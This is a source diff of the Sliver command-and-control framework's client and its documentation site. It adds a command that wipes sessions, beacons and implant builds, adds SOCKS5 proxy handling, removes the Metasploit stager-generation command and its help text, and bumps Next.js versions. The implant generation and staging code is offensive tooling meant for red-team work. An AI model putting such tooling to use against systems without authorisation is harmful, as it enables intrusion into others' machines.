tw.AppendRow(table.Row{
"Server Headers",
@@ -550,7 +568,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
var clientHeaders []string
for _, header := range profile.ImplantConfig.Headers {
clientHeaders = append(clientHeaders, header.Value)
clientHeaders = append(clientHeaders, header.Name)
}
tw.AppendRow(table.Row{
"Client Headers",
+141
View File
@@ -0,0 +1,141 @@
package clean
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
)
// CleanCmd - Remove all profiles, beacons, sessions and implant builds (Builds and logs will still exist on disk in .sliver)
func CleanCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.Printf("This command will kill and remove all sessions, beacons and profiles \n")
confirm := false
prompt := &survey.Confirm{Message: "Are you sure you want to destroy everything?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := removeSessionsAndBeacons(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = removeImplantBuilds(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = removeProfiles(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("All done !\n")
}
func removeImplantBuilds(con *console.SliverClient) error {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return err
}
for name, _ := range builds.Configs {
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
Name: name,
})
if err != nil {
return err
}
}
return nil
}
func removeProfiles(con *console.SliverClient) error {
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
return err
}
for _, profile := range profiles.Profiles {
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
Name: profile.Name,
})
if err != nil {
return err
}
}
return nil
}
func removeSessionsAndBeacons(con *console.SliverClient) error {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return err
}
for _, session := range sessions.Sessions {
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: flags.DefaultTimeout,
},
Force: false,
})
if err != nil {
return err
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return err
}
for _, beacon := range beacons.Beacons {
_, err = con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
return err
}
}
return nil
}
// Commands returns the `exit` command.
func Command(con *console.SliverClient) []*cobra.Command {
return []*cobra.Command{{
Use: "clean",
Short: "Remove all profiles, beacons, sessions, implant builds and HTTP profiles (Builds and logs will still exist on disk in .sliver)",
Run: func(cmd *cobra.Command, args []string) {
CleanCmd(cmd, con, args)
},
GroupID: constants.GenericHelpGroup,
}}
}
+1 -1
View File
@@ -49,7 +49,7 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
con.PrintErrorf("Invalid pid '%d', see `help %s`\n", pid, consts.MsfInjectStr)
return
}
var goos string
+7 -3
View File
@@ -23,6 +23,7 @@ import (
"encoding/hex"
"fmt"
"os"
"strings"
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
@@ -72,16 +73,16 @@ func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, cmd, con)
PrintCat(filePath, download, cmd, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, cmd, con)
PrintCat(filePath, download, cmd, con)
}
}
// PrintCat - Print the download to stdout.
func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverClient) {
func PrintCat(originalFileName string, download *sliverpb.Download, cmd *cobra.Command, con *console.SliverClient) {
var (
lootDownload bool = true
err error
@@ -108,6 +109,9 @@ func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.Sliv
con.Printf("\n")
}
}
if !strings.Contains(download.Path, originalFileName) {
con.PrintInfof("Supplied pattern %s matched file %s\n\n", originalFileName, download.Path)
}
if color, _ := cmd.Flags().GetBool("colorize-output"); color {
if err = colorize(download); err != nil {
con.Println(string(download.Data))
+2 -2
View File
@@ -295,7 +295,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file")
f.Int64P("lines", "l", 0, "Grab the first number of lines from the file")
f.Int64P("lines", "l", 10, "Grab the first number of lines from the file")
})
carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
@@ -322,7 +322,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file")
f.Int64P("lines", "l", 0, "Grab the last number of lines from the file")
f.Int64P("lines", "l", 10, "Grab the last number of lines from the file")
})
carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
+10 -4
View File
@@ -97,9 +97,7 @@ func prettifyDownloadName(path string) string {
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
// If there is an underscore at the front of the filename, strip that off
if strings.HasPrefix(filteredString, "_") {
filteredString = filteredString[1:]
}
filteredString, _ = strings.CutPrefix(filteredString, "_")
return filteredString
}
@@ -118,7 +116,15 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
}
}
remotePath := args[0]
// Use download.Path because a glob matching a single file on the remote will not have the
// correct file name - the filename will contain the globs if we use the path from the user
// On non-Windows systems, filepath.Base will not see backslashes, so we will replace them
// on systems that do not use backslashes as path separators
remotePath := download.Path
if strings.Contains(download.Path, "\\") && string(os.PathSeparator) != "\\" {
remotePath = strings.ReplaceAll(download.Path, "\\", "/")
}
var localPath string
if len(args) == 1 {
localPath = "."
+3 -6
View File
@@ -63,7 +63,7 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head
} else {
operationName = "bytes"
}
} else if cmd.Flags().Changed("lines") {
} else {
fetchBytes = false
fetchSize, _ = cmd.Flags().GetInt64("lines")
if fetchSize < 0 {
@@ -76,9 +76,6 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head
} else {
operationName = "lines"
}
} else {
con.PrintErrorf("A number of bytes or a number of lines must be specified.")
return
}
ctrl := make(chan bool)
@@ -118,10 +115,10 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, cmd, con)
PrintCat(filePath, download, cmd, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, cmd, con)
PrintCat(filePath, download, cmd, con)
}
}
-24
View File
@@ -48,30 +48,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
generateCmd.AddCommand(generateBeaconCmd)
generateStagerCmd := &cobra.Command{
Use: consts.MsfStagerStr,
Short: "Generate a stager using Metasploit (requires local Metasploit installation)",
Long: help.GetHelpFor([]string{consts.MsfStagerStr}),
Run: func(cmd *cobra.Command, args []string) {
GenerateStagerCmd(cmd, con, args)
},
}
flags.Bind("stager", false, generateStagerCmd, func(f *pflag.FlagSet) {
f.StringP("os", "o", "windows", "operating system")
f.StringP("arch", "a", "amd64", "cpu architecture")
f.StringP("lhost", "L", "", "Listening host")
f.Uint32P("lport", "l", 8443, "Listening port")
f.StringP("protocol", "r", "tcp", "Staging protocol (tcp/http/https)")
f.StringP("format", "f", "raw", "Output format (msfvenom formats, see help generate msf-stager for the list)")
f.StringP("badchars", "b", "", "bytes to exclude from stage shellcode")
f.StringP("save", "s", "", "directory to save the generated stager to")
f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)")
})
flags.BindFlagCompletions(generateStagerCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
})
generateCmd.AddCommand(generateStagerCmd)
generateInfoCmd := &cobra.Command{
Use: consts.CompilerInfoStr,
Short: "Get information about the server's compiler",
+1 -1
View File
@@ -32,7 +32,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
save, _ = os.Getwd()
}
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(config, save, con)
compile(name, config, save, con)
} else {
externalBuild(name, config, save, con)
}
-131
View File
@@ -1,131 +0,0 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"net"
"os"
"regexp"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
// GenerateStagerCmd - Generate a stager using Metasploit.
func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
var stageProto clientpb.StageProtocol
lhost, _ := cmd.Flags().GetString("lhost")
if lhost == "" {
con.PrintErrorf("Please specify a listening host")
return
}
match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
if err != nil {
return
}
if !match {
addr, err := net.LookupHost(lhost)
if err != nil {
con.PrintErrorf("Error resolving %s: %v\n", lhost, err)
return
}
if len(addr) > 1 {
prompt := &survey.Select{
Message: "Select an address",
Options: addr,
}
err := survey.AskOne(prompt, &lhost)
if err != nil {
con.PrintErrorf("Error: %v\n", err)
return
}
} else {
lhost = addr[0]
}
}
lport, _ := cmd.Flags().GetUint32("lport")
stageOS, _ := cmd.Flags().GetString("os")
arch, _ := cmd.Flags().GetString("arch")
proto, _ := cmd.Flags().GetString("protocol")
format, _ := cmd.Flags().GetString("format")
badChars, _ := cmd.Flags().GetString("badchars")
save, _ := cmd.Flags().GetString("save")
advOptions, _ := cmd.Flags().GetString("advanced")
bChars := make([]string, 0)
if len(badChars) > 0 {
for _, b := range strings.Split(badChars, " ") {
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
}
}
switch proto {
case "tcp":
stageProto = clientpb.StageProtocol_TCP
case "http":
stageProto = clientpb.StageProtocol_HTTP
case "https":
stageProto = clientpb.StageProtocol_HTTPS
default:
con.PrintErrorf("%s staging protocol not supported\n", proto)
return
}
ctrl := make(chan bool)
con.SpinUntil("Generating stager, please wait ...", ctrl)
stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
Arch: arch,
BadChars: bChars,
Format: format,
Host: lhost,
Port: lport,
Protocol: stageProto,
OS: stageOS,
AdvOptions: advOptions,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err)
return
}
if save != "" || format == "raw" {
saveTo, err := saveLocation(save, stageFile.GetFile().GetName(), con)
if err != nil {
return
}
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0o700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return
}
con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
} else {
con.PrintInfof("Here's your stager:\n")
con.Println(string(stageFile.GetFile().GetData()))
}
}
+3 -2
View File
@@ -98,7 +98,7 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
save, _ = os.Getwd()
}
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(config, save, con)
compile(name, config, save, con)
} else {
_, err := externalBuild(name, config, save, con)
if err != nil {
@@ -905,7 +905,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
return nil, nil
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
func compile(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
@@ -923,6 +923,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCli
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Name: name,
Config: config,
})
ctrl <- true
+1 -1
View File
@@ -46,7 +46,7 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
profile.Config.SGNEnabled = !SGNDisabled
}
_, err := compile(profile.Config, save, con)
_, err := compile(name, profile.Config, save, con)
if err != nil {
return
}
-28
View File
@@ -45,7 +45,6 @@ var (
consts.InfoStr: infoHelp,
consts.UseStr: useHelp,
consts.GenerateStr: generateHelp,
consts.MsfStagerStr: generateStagerHelp,
consts.StageListenerStr: stageListenerHelp,
consts.MsfStr: msfHelp,
@@ -196,33 +195,6 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
command.
`
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate msf-stager <options>
[[.Bold]]About:[[.Normal]] Generate a new sliver stager shellcode and saves the output to the cwd or a path specified with --save, or to stdout using --format.
[[.Bold]][[.Underline]]++ Bad Characters ++[[.Normal]]
Bad characters must be specified like this for single bytes:
generate msf-stager -b 00
And like this for multiple bytes:
generate msf-stager -b '00 0a cc'
[[.Bold]][[.Underline]]++ Output Formats ++[[.Normal]]
You can use the --format flag to print out the shellcode to stdout, in one of the following transform formats:
[[.Bold]]bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript[[.Normal]]
[[.Bold]][[.Underline]]++ Advanced Options ++[[.Normal]]
If there are any advanced options you need to pass to msfvenom, you can use the --advanced flag to provide them. They must be provided in URI query format: option1=value1&option2=value2 and so on.
The full list of advanced options is available using "show advanced" in msf for the payload corresponding to the chosen protocol:
TCP: meterpreter/reverse_tcp
HTTP: custom/reverse_winhttp
HTTPS: custom/reverse_winhttps
Example:
To tell the stager to use the proxy proxy.corp.com:8080 with the user name "corp_drone" and password "MyPassword", you would pass the following string to --advanced:
HttpProxyHost=proxy.corp.com&HttpProxyPort=8080&HttpProxyUser=corp_drone&HttpProxyPass=MyPassword
`
stageListenerHelp = `[[.Bold]]Command:[[.Normal]] stage-listener <options>
[[.Bold]]About:[[.Normal]] Starts a stager listener bound to a Sliver profile.
+11
View File
@@ -26,6 +26,7 @@ import (
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -74,6 +75,16 @@ func KillSession(session *clientpb.Session, cmd *cobra.Command, con *console.Sli
timeout, _ := cmd.Flags().GetInt64("timeout")
force, _ := cmd.Flags().GetBool("force")
// remove any active socks proxies
socks := core.SocksProxies.List()
if len(socks) != 0 {
for _, p := range socks {
if p.SessionID == session.ID {
core.SocksProxies.Remove(p.ID)
}
}
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
+4
View File
@@ -27,6 +27,7 @@ import (
"github.com/bishopfox/sliver/client/command/builders"
"github.com/bishopfox/sliver/client/command/c2profiles"
"github.com/bishopfox/sliver/client/command/certificates"
"github.com/bishopfox/sliver/client/command/clean"
"github.com/bishopfox/sliver/client/command/crack"
"github.com/bishopfox/sliver/client/command/creds"
"github.com/bishopfox/sliver/client/command/exit"
@@ -42,6 +43,7 @@ import (
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/taskmany"
"github.com/bishopfox/sliver/client/command/update"
"github.com/bishopfox/sliver/client/command/use"
@@ -95,6 +97,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
creds.Commands,
crack.Commands,
certificates.Commands,
clean.Command,
)
// C2 Network
@@ -103,6 +106,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
websites.Commands,
wireguard.Commands,
c2profiles.Commands,
socks.RootCommands,
)
// Payloads
+11
View File
@@ -22,6 +22,7 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
)
@@ -35,6 +36,16 @@ func CloseSessionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
return
}
// remove any active socks proxies
socks := core.SocksProxies.List()
if len(socks) != 0 {
for _, p := range socks {
if p.SessionID == session.ID {
core.SocksProxies.Remove(p.ID)
}
}
}
// Close the session
_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
Request: con.ActiveTarget.Request(cmd),
+46
View File
@@ -0,0 +1,46 @@
package socks
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
func RootCommands(con *console.SliverClient) []*cobra.Command {
socksCmd := &cobra.Command{
Use: consts.Socks5Str,
Short: "In-band SOCKS5 Proxy",
Long: help.GetHelpFor([]string{consts.Socks5Str}),
GroupID: consts.NetworkHelpGroup,
Annotations: flags.RestrictTargets(consts.SessionCmdsFilter),
Run: func(cmd *cobra.Command, args []string) {
SocksCmd(cmd, con, args)
},
}
flags.Bind("", true, socksCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
socksStopCmd := &cobra.Command{
Use: consts.StopStr,
Short: "Stop a SOCKS5 proxy",
Long: help.GetHelpFor([]string{consts.Socks5Str}),
Run: func(cmd *cobra.Command, args []string) {
SocksStopCmd(cmd, con, args)
},
}
socksCmd.AddCommand(socksStopCmd)
flags.Bind("", false, socksStopCmd, func(f *pflag.FlagSet) {
f.Uint64P("id", "i", 0, "id of portfwd to remove")
})
flags.BindFlagCompletions(socksStopCmd, func(comp *carapace.ActionMap) {
(*comp)["id"] = SocksIDCompleter(con)
})
return []*cobra.Command{socksCmd}
}
+6
View File
@@ -42,6 +42,8 @@ func SocksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
return socks[i].ID < socks[j].ID
})
session := con.ActiveTarget.GetSession()
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
@@ -52,6 +54,10 @@ func SocksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
"Passwords",
})
for _, p := range socks {
// if we're in an active session, just display socks proxies for the session
if session != nil && session.ID != p.SessionID {
continue
}
tw.AppendRow(table.Row{p.ID, p.SessionID, p.BindAddr, p.Username, p.Password})
}
-1
View File
@@ -136,7 +136,6 @@ const (
C2GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerInfoStr = "info"
MsfStagerStr = "msf-stager"
ProfilesStr = "profiles"
BeaconStr = "beacon"
BeaconsStr = "beacons"
+1
View File
@@ -3,6 +3,7 @@
# generated files
public/sitemap.json
public/docs.json
public/tutorials.json
/www.zip
# code editor files
+1
View File
@@ -11,6 +11,7 @@ const nextConfig = {
webpack: (config, { isServer }) => {
if (isServer) {
require('./prebuild/generate-docs');
require('./prebuild/generate-tutorials');
}
return config;
}
+55 -55
View File
@@ -19,7 +19,7 @@
"framer-motion": "^10.16.16",
"fuse.js": "^7.0.0",
"lunr": "^2.3.9",
"next": "^14.2.3",
"next": "^14.2.22",
"next-themes": "^0.2.1",
"react": "18.2.0",
"react-dom": "18.2.0",
@@ -383,9 +383,9 @@
}
},
"node_modules/@next/env": {
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/env/-/env-14.2.3.tgz",
"integrity": "sha512-W7fd7IbkfmeeY2gXrzJYDx8D2lWKbVoTIj1o1ScPHNzvp30s1AuoEFSdr39bC5sjxJaxTtq3OTCZboNp0lNWHA=="
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/env/-/env-14.2.22.tgz",
"integrity": "sha512-EQ6y1QeNQglNmNIXvwP/Bb+lf7n9WtgcWvtoFsHquVLCJUuxRs+6SfZ5EK0/EqkkLex4RrDySvKgKNN7PXip7Q=="
},
"node_modules/@next/eslint-plugin-next": {
"version": "14.0.4",
@@ -397,9 +397,9 @@
}
},
"node_modules/@next/swc-darwin-arm64": {
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.2.3.tgz",
"integrity": "sha512-3pEYo/RaGqPP0YzwnlmPN2puaF2WMLM3apt5jLW2fFdXD9+pqcoTzRk+iZsf8ta7+quAe4Q6Ms0nR0SFGFdS1A==",
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.2.22.tgz",
"integrity": "sha512-HUaLiehovgnqY4TMBZJ3pDaOsTE1spIXeR10pWgdQVPYqDGQmHJBj3h3V6yC0uuo/RoY2GC0YBFRkOX3dI9WVQ==",
"cpu": [
"arm64"
],
@@ -412,9 +412,9 @@
}
},
"node_modules/@next/swc-darwin-x64": {
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.2.3.tgz",
"integrity": "sha512-6adp7waE6P1TYFSXpY366xwsOnEXM+y1kgRpjSRVI2CBDOcbRjsJ67Z6EgKIqWIue52d2q/Mx8g9MszARj8IEA==",
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.2.22.tgz",
"integrity": "sha512-ApVDANousaAGrosWvxoGdLT0uvLBUC+srqOcpXuyfglA40cP2LBFaGmBjhgpxYk5z4xmunzqQvcIgXawTzo2uQ==",
"cpu": [
"x64"
],
@@ -427,9 +427,9 @@
}
},
"node_modules/@next/swc-linux-arm64-gnu": {
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.2.3.tgz",
"integrity": "sha512-cuzCE/1G0ZSnTAHJPUT1rPgQx1w5tzSX7POXSLaS7w2nIUJUD+e25QoXD/hMfxbsT9rslEXugWypJMILBj/QsA==",
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.2.22.tgz",
"integrity": "sha512-3O2J99Bk9aM+d4CGn9eEayJXHuH9QLx0BctvWyuUGtJ3/mH6lkfAPRI4FidmHMBQBB4UcvLMfNf8vF0NZT7iKw==",
"cpu": [
"arm64"
],
@@ -442,9 +442,9 @@
}
},
"node_modules/@next/swc-linux-arm64-musl": {
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.2.3.tgz",
"integrity": "sha512-0D4/oMM2Y9Ta3nGuCcQN8jjJjmDPYpHX9OJzqk42NZGJocU2MqhBq5tWkJrUQOQY9N+In9xOdymzapM09GeiZw==",
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.2.22.tgz",
"integrity": "sha512-H/hqfRz75yy60y5Eg7DxYfbmHMjv60Dsa6IWHzpJSz4MRkZNy5eDnEW9wyts9bkxwbOVZNPHeb3NkqanP+nGPg==",
"cpu": [
"arm64"
],
@@ -457,9 +457,9 @@
}
},
"node_modules/@next/swc-linux-x64-gnu": {
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.2.3.tgz",
"integrity": "sha512-ENPiNnBNDInBLyUU5ii8PMQh+4XLr4pG51tOp6aJ9xqFQ2iRI6IH0Ds2yJkAzNV1CfyagcyzPfROMViS2wOZ9w==",
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.2.22.tgz",
"integrity": "sha512-LckLwlCLcGR1hlI5eiJymR8zSHPsuruuwaZ3H2uudr25+Dpzo6cRFjp/3OR5UYJt8LSwlXv9mmY4oI2QynwpqQ==",
"cpu": [
"x64"
],
@@ -472,9 +472,9 @@
}
},
"node_modules/@next/swc-linux-x64-musl": {
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.2.3.tgz",
"integrity": "sha512-BTAbq0LnCbF5MtoM7I/9UeUu/8ZBY0i8SFjUMCbPDOLv+un67e2JgyN4pmgfXBwy/I+RHu8q+k+MCkDN6P9ViQ==",
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.2.22.tgz",
"integrity": "sha512-qGUutzmh0PoFU0fCSu0XYpOfT7ydBZgDfcETIeft46abPqP+dmePhwRGLhFKwZWxNWQCPprH26TjaTxM0Nv8mw==",
"cpu": [
"x64"
],
@@ -487,9 +487,9 @@
}
},
"node_modules/@next/swc-win32-arm64-msvc": {
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.2.3.tgz",
"integrity": "sha512-AEHIw/dhAMLNFJFJIJIyOFDzrzI5bAjI9J26gbO5xhAKHYTZ9Or04BesFPXiAYXDNdrwTP2dQceYA4dL1geu8A==",
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.2.22.tgz",
"integrity": "sha512-K6MwucMWmIvMb9GlvT0haYsfIPxfQD8yXqxwFy4uLFMeXIb2TcVYQimxkaFZv86I7sn1NOZnpOaVk5eaxThGIw==",
"cpu": [
"arm64"
],
@@ -502,9 +502,9 @@
}
},
"node_modules/@next/swc-win32-ia32-msvc": {
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.2.3.tgz",
"integrity": "sha512-vga40n1q6aYb0CLrM+eEmisfKCR45ixQYXuBXxOOmmoV8sYST9k7E3US32FsY+CkkF7NtzdcebiFT4CHuMSyZw==",
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.2.22.tgz",
"integrity": "sha512-5IhDDTPEbzPR31ZzqHe90LnNe7BlJUZvC4sA1thPJV6oN5WmtWjZ0bOYfNsyZx00FJt7gggNs6SrsX0UEIcIpA==",
"cpu": [
"ia32"
],
@@ -517,9 +517,9 @@
}
},
"node_modules/@next/swc-win32-x64-msvc": {
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.2.3.tgz",
"integrity": "sha512-Q1/zm43RWynxrO7lW4ehciQVj+5ePBhOK+/K2P7pLFX3JaJ/IZVC69SHidrmZSOkqz7ECIOhhy7XhAFG4JYyHA==",
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.2.22.tgz",
"integrity": "sha512-nvRaB1PyG4scn9/qNzlkwEwLzuoPH3Gjp7Q/pLuwUgOTt1oPMlnCI3A3rgkt+eZnU71emOiEv/mR201HoURPGg==",
"cpu": [
"x64"
],
@@ -3436,11 +3436,11 @@
}
},
"node_modules/braces": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
"integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
"version": "3.0.3",
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
